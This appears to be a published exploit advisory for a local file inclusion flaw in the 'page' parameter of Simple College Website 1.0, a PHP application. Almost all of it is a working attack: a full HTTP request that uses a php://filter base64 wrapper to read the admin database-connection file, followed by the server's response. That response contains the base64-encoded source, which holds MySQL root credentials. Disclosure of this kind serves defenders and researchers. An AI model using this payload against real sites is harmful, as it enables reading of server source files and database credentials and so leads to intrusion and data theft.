Simple College Website 1.0 Local File Inclusion

`# Exploit Title: Simple College Website 1.0 - 'page' Local File Inclusion  
# Date: 30-10-2020  
# Exploit Author: mosaaed  
# Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip  
# Version: 1.0  
# Tested on: Parrot 5.5.17 + version: Apache/2.4.46 (Debian)  
# CVE ID : N/A  
  
# Local File Inclusion  
#parameter Vulnerable: page  
  
#Request  
  
GET /college_website/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=7ls9j695lglc2eah5khecv2g66  
Upgrade-Insecure-Requests: 1  
Sec-GPC: 1  
Cache-Control: max-age=0  
  
  
#Response   
  
HTTP/1.1 200 OK  
  
Date: Sat, 31 Oct 2020 02:49:31 GMT  
Server: Apache/2.4.46 (Debian)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 15674  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
  
<main class="">  
  
PD9waHAgDQoNCiRjb25uPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywncGFzc3dvcmQnLCdjb2xsZWdlX3dlYnNpdGVfZGInKW9yIGRpZSgiQ291bGQgbm90IGNvbm5lY3QgdG8gbXlzcWwiLm15c3FsaV9lcnJvcigkY29uKSk7DQo=   
  
</main>  
`